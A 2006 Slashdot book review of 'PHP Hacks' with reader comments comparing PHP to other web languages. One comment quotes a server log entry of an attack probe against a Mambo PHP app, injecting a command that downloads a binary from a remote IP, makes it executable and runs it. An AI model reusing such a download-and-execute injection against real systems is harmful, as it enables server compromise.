Slashdot is powered by your submissions, so send in your scoop


Forgot your password?

PHP Hacks 165

Michael J. Ross writes "Given the current popularity of the Web development language PHP, it makes sense that newcomers to the language have a large number of introductory and reference volumes from which to choose. But for the more advanced PHP programmer, there are far fewer titles that explain how to make the most of the language, by applying it to solve relatively substantial problems. One such book is PHP Hacks: Tips & Tools for Creating Dynamic Websites, by Jack D. Herrington. Read the rest of Michael's review.
PHP Hacks
author Jack D. Herrington
pages 468
publisher O'Reilly Media
rating 8
reviewer Michael J. Ross
ISBN 0596101392
summary Practical techniques and source code for improving PHP-based Web sites and applications.

The book was published by O'Reilly Media in December of 2005. Despite its title, PHP Hacks: Tips & Tools for Creating Dynamic Websites is clearly intended to show how PHP's capabilities can be extended beyond its most common usage for creating dynamic and database-driven Web pages, and can be employed in such areas as graphics, reporting, Web site testing, code generation, and even fun purposes (for those few programmers who find the former topics less than entertaining). The author, assisted by six contributors listed in the Credits section, manages to pack an impressive number of general programming ideas and PHP-specific topics within this title's 468 pages. The material is grouped into 10 chapters, each of which contains a generous number of "hacks," each in its own section.

As with most if not all of the other titles published by O'Reilly, this book has a Web page that offers an overview of the book, its table of contents, all of the book's code (in both Zip and tar file format), and a list of confirmed and unconfirmed errata. In addition, the site hosts five sample hacks (in PDF format): accessing iPhoto pictures, generating Excel spreadsheets, avoiding the "double submit" problem, reading RSS feeds on your PSP, and creating custom Google Maps. Perusing these hacks would give the prospective buyer a clear sense as to the style of the book's other 95 hacks, as well as the (low) level of PHP expertise needed to understand them.

The book begins with a preface that describes the organization, conventions, and icons chosen for the book. Also, it covers the legality of the code samples, lists contact information, and mentions O'Reilly's Safari online book service, which contains this title among many other PHP resources. What is perhaps most unique about this book's preface is that the author identifies over half a dozen weaknesses commonly seen in PHP applications, and explains how his book addresses those problems. In addition, he makes explicit how some of the hacks can be used for jazzing up one's Web site or Web-based application.

The first chapter discusses how to install PHP on Windows, Mac OS X, and Linux, and then verify that the installation was done properly. Herrington then briefly explains how to install MySQL and perform some basic database management. The chapter concludes with coverage of installing the PEAR library on your local machine and on your Web host's server (which is incorrectly identified as your "ISP machine," apparently assuming that most developers choose their Internet service providers for hosting their sites, when in fact the opposite is true). Since the typical reader of a non-beginning book such as this no doubt has one or more introductory and/or reference PHP books at hand, it would seem superfluous to waste time and space explaining how to install these components. But few pages are taken up by the material.

The next chapter is devoted to hacks that help to jazz up the design of one's Web sites, including how to create a skinnable interface, build a breadcrumb trail, create HTML boxes, add tabs to your interface, and other valuable techniques. Subsequent chapters offer hacks in the areas of dynamic HTML (DHTML), graphics and digital pictures, databases and XML, application and e-commerce design, patterns and PHP object orientation, testing and documentation generation, and building alternative user interfaces. The 10th and final chapter covers some "fun stuff," such as creating dynamic playlists, developing a media upload/download center, and even putting Wikipedia on a Sony PlayStation Portable.

Rather than try to explain in detail all of the many topics covered in the book, I instead encourage the interested reader to visit the publisher's Web page, and scan through the table of contents provided, to get a better idea as to how much of the book would be of interest to the individual. Also, the five sample hacks listed on the site, would be well worth examining and trying out. Overall, the topics chosen reflect favorably upon the judgment of the lead author and the other contributors to the book. The typical PHP veteran would likely be interested in most of the applications covered, and would probably learn some new tricks, especially in the areas of patterns and code testing, regardless of their level of experience.

Like all books, this one is not perfect. As with the first printing of most technical books; particularly those chock-full of source code; the book contains a fair number of errata, likely even greater in number than those reported and listed on the publisher's Web site, as mentioned earlier. Consequently, any reader who chooses to test the sample code and he or she would be encouraged to do so; should keep one browser window or editor buffer open and devoted to those errata, so as to minimize the time spent trying to figure out why some sample code is not working as advertised.

Some readers posting in forums have complained that the sample code has evidently not been fully tested on all platforms, nor in all Web browsers. Since few if any reviewers would have the time, resources, or inclination to verify these claims, it should suffice to simply bear in mind that the script output and other behavior detailed in the book might not exactly match those experienced during one's own usage of the code.

The fact that there were several cooks in the kitchen brewing up this particular book, is obvious from the way that the code formatting is not consistent throughout the book, as well as the variety of problem-solving styles. Fortunately, neither weakness is of much consequence, and the latter might even be considered a "feature," as it allows the reader to see how a number of veteran PHP developers approach solving a problem.

Most technical works written by a team of authors, end up as excessive "doorstops" that are often frustrating to read as a result of the wildly inconsistent writing and coding styles, to say nothing of the material often being out of date as a result of the long production time needed by the publisher. The opposite case can be even worse, when a publisher releases a book that was clearly thrown together as quickly as possible to capitalize upon a hot new trend in technology. Thankfully, PHP Hacks keeps the style differences to a minimum, and benefits from having a lead author responsible for the book as a whole.

Some programming purists may take issue with the use of the term "hack" used as a synonym for a small PHP application or the use of such for solving a problem, since the majority of the PHP scripts in the book do not involve any programming or problem-solving that would be considered notably clever or elegant. Yet the misuse of the term seems to be spreading, and is not limited to this particular book ; another example of marketing overpowering stability of language. In the preface of PHP Hacks, the author explains that he uses the term in the positive sense of creative participation, to help reclaim it from its popular usage in place of the more traditional term "cracking," i.e., breaking into systems.

Yet aside from these complaints, PHP Hacks is a worthy title that offers explanations and source code for many valuable site-enhancing applications, testing and code generation techniques, and critical e-commerce safeguards. I recommend this book to any PHP developer who would like to add to their Web sites' capabilities, as well as their knowledge of what PHP can do.

Michael J. Ross is a freelance writer, computer consultant, and the editor of the free newsletter of"

You can purchase PHP Hacks: Tips & Tools for Creating Dynamic Websites from Slashdot welcomes readers' book reviews -- to see your own review here, read the book review guidelines, then visit the submission page.
This discussion has been archived. No new comments can be posted.

PHP Hacks

Comments Filter:
  • Re:Hacks? (Score:3, Interesting)

    by gamlidek ( 459505 ) on Wednesday July 05, 2006 @05:32PM (#15663124)
    I don't disagree at all, but I must say that PHP is fairly popular and has its place. And tools are finally coming out that help organize the messiness of PHP, like Trustudio's PHP IDE. I think of PHP as kind of a quick-and-dirty approach to web development.

  • From the title... (Score:2, Interesting)

    by Anonymous Crowhead ( 577505 ) on Wednesday July 05, 2006 @05:35PM (#15663148)
    I thought maybe it would explain the constant hack attempts on non-existent php apps on my webservers.

    [admin@bsever logs]$ tail -100000 access_log |grep php -i |wc -l

    2% of last 100K hits. I run no php on it + this is a test server that is not linked to anywhere public.

    For example: - - [04/Jul/2006:00:37:03 -0700] "GET /articles/mambo/index2.php?_REQUEST[option]=com_co ntent&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolu te_path= p;wget%2072.18.195.161/lnikon;chmod%20744%20lnikon ;./lnikon;echo%20YYY;echo| HTTP/1.1" 404 307 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
  • Re:Hacks? (Score:2, Interesting)

    by mikeal ( 968191 ) on Wednesday July 05, 2006 @05:42PM (#15663206)
    I think you're correct about it being a "quick-and-dirty" approach, but I think usefullness of that breaks down once you realize that you have to maintain and continue to build the majority of web projects you create. Managability is key to being able to do that and I think PHP as a language fundamentally lacks that ability.

    One of the django guys quoted a Rails line which was "php is the devil" and went on to say "and it is, because it tricks you. They make it so easy to build out 90% of your web app, but then that last 10% is SO HARD"

    I personally find it much easier writing web apps in django than php. But then again I love python and I love full object orientation so I may be in the minority in thinking that it's easier.
  • by ardor ( 673957 ) on Wednesday July 05, 2006 @05:46PM (#15663230)
    anyone can tell me if this is to be taken seriously, or rather seen as worthless php-bashing? []
  • by Photon Ghoul ( 14932 ) on Wednesday July 05, 2006 @06:09PM (#15663346)
    "I am definitely in the market for a new language to build sites with."

    To clarify: I'm a professional PHP developer but finding the language doesn't grow with me as a grow as a developer. Looking into RoR but the hype scares me (memories of Java).
  • by VP ( 32928 ) on Wednesday July 05, 2006 @06:17PM (#15663374)
    Slashdot provides a place for reviews of technical books. They get to specify the URL and get referrer credit for it. The reson it is BN is because of the Amazon "One-click" patent, for which they sued BN - so using Barnes and Nobble both supports Slashdot, and provides a small way to fight obvious SW patents...

    On the other hand, looks like the parent put their own referrer link to Amazon - now that's what I call cheating!
  • RoR for PHP Projects (Score:2, Interesting)

    by Space_Nerd ( 255762 ) on Wednesday July 05, 2006 @06:34PM (#15663469)
    Has anyone tried the CakePHP package? It's supposed to be similar to RoR, but i'm unable to deploy a Ruby based solution at work due to stupid policys (like: everybody knows php, nobody knows ruby... pfff). If not, are there any rails-like project for PHP anyone care to recommend?

  • Re:Hacks? (Score:4, Interesting)

    by drspliff ( 652992 ) on Wednesday July 05, 2006 @07:20PM (#15663667)
    Trustudio's PHP IDE is ok, but way behind the competition and hardly a finished product (their charging licensing for a beta version!).

    On the other hand I've been using NuSphere's PHPed and Zend's own ZendStudio for quite a while now, they both support remote debugging, the latest version of PHP, version control and code profiling and are both much more advanced and stable compared to Trustudio.

    PHP is no longer a baby language, and although it really annoys me sometimes (hello! no multiple inheritance or large integer/floating point number support) big real world applications are being written in it and most times I consider it much cleaner than Java when you know what you're doing.

    It's the age old thing, if you make it easier for good programmers to program, they'll get working code out of the door with much less bugs compared to a stricter language. It's quick and at times dirty, but it's understandable, you can apply [insert buzzword here] with little to no effort and it runs on most of the world's web hosting servers.

    For example, move from C to C++ and you will almost certainly be more productive, from C to D, from C++ to Java, from Bash to TCL, from Java to PHP.. you get the picture. When I've got a tight deadline and lots of features to implement, I'm going to want to do it in whichever language is most productive, this is why you see people adding backend JavaScript/BSH support to their J2EE webapps *laugh*.
  • Re:From the title... (Score:1, Interesting)

    by Anonymous Coward on Wednesday July 05, 2006 @08:11PM (#15663870)
    >Likewise handling both cases of magic_quotes_gpc is just a pointless hoop to have to jump through.


            $_POST = array_map('stripslashes', $_POST);
            $_GET = array_map('stripslashes', $_GET);
            $_COOKIE = array_map('stripslashes', $_COOKIE);

    It's not really pointless, and it's very easy to deal with. Just stick that code in a file and require the file in all others at the top. Now all data coming in, is as the user sent. So validating your data is now up to you. However you could easily flip it around.

            $_POST = array_map('addslashes', $_POST);
            $_GET = array_map('addslashes', $_GET);
            $_COOKIE = array_map('addslashes', $_COOKIE);

    But I don't like automagic crappy validating so I always use the first example.
  • by Scarblac ( 122480 ) <> on Thursday July 06, 2006 @09:49AM (#15666590) Homepage

    mod_perl's Apache integration is impressive, and Template Toolkit is the best templating system out there bar none. Writing solid readable Perl is not as hard as people say. Perl rules for web development, and I say that as a Python nut dragged into Perl against my will.

    Also, RoR deserves the hype it gets, even though it's still hard to find hosting, and there are performance problems. Still, a good choice for rapid development.

    Java is solid, enterprisey and has a wealth of enterprisey libraries out there. It crosses the border to being over engineered a little too often, but it's fast, scalable and after coding in those scripting languages for a while, you long for an actual compiler to check your code now and then. If you're building something big, Java is a good choice.

    We have had good results switching a few very slow key handlers in our Perl system over to little bits of C.

    Although I love Python, I'm not very up to date with its web development stuff; but there's probably a few good frameworks out there.

    PHP is in my view good for nearly nothing. PHP5 is a big improvement on PHP4, and _still_ falls short on too many points compared to years old versions of the above. The only thing in its favor is that there's loads of script kiddies out there who will make a site for you for cheap, but don't expect it to be any quality.

1 1 was a race-horse, 2 2 was 1 2. When 1 1 1 1 race, 2 2 1 1 2.